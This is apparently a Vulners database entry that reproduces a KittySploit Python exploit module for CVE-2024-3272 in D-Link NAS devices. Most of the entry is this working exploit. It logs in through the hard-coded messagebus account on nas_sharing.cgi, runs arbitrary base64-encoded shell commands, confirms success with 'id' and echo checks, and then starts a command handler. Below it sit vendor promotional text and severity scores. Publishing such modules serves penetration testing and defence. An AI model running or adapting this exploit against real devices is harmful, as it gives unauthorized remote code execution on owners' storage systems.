Lucene search
+L

D-Link NAS Backdoor RCE (CVE-2024-3272)

🗓️ 05 Oct 2026 14:20:30Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com

Hard-coded messagebus account in D-Link DNS-320L/325/327L/340L allows remote RCE.

Related
Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""D-Link NAS messagebus backdoor RCE (CVE-2024-3272)."""

import base64
import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'D-Link NAS Backdoor RCE (CVE-2024-3272)',
        'description': (
            'Exploits CVE-2024-3272 in D-Link DNS-320L/325/327L/340L: hard-coded messagebus '
            'account in nas_sharing.cgi cmd=15 runs base64-encoded shell commands.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2024-3272'],
        'platform': Platform.LINUX,
        'payload': {'default': 'nopayload'},
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2024-3272'],
        'tags': ['dlink', 'nas', 'backdoor', 'rce', 'kev', 'vkev'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'rce'],
            'chain': {'suggested_followups': ['scanner/http/cve_2024_3272_detect']},
        },
    }

    def execute(self, cmd: str) -> str:
        b64 = base64.b64encode(str(cmd).encode()).decode()
        path = f'/cgi-bin/nas_sharing.cgi?user=messagebus&passwd=&cmd=15&system={b64}'
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        return (r.text or '') if r else ''

    def check(self):
        body = self.execute('id')
        if '<auth_state>1</auth_state>' in (body or '') and re.search(r'uid=\d+', body or ''):
            return {'vulnerable': True, 'reason': 'D-Link NAS backdoor confirmed', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'messagebus backdoor failed', 'confidence': 'medium'}

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f'echo {token}') or '')

    def run(self):
        if not self.check_execute():
            self.not_vulnerable()
            return False
        return self.handler_execute()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Oct 2026 14:20Current
8.7High risk
Vulners AI Score8.7
CVSS 3.19.8
CVSS 39.8
CVSS 210
EPSS0.98038
SSVC
0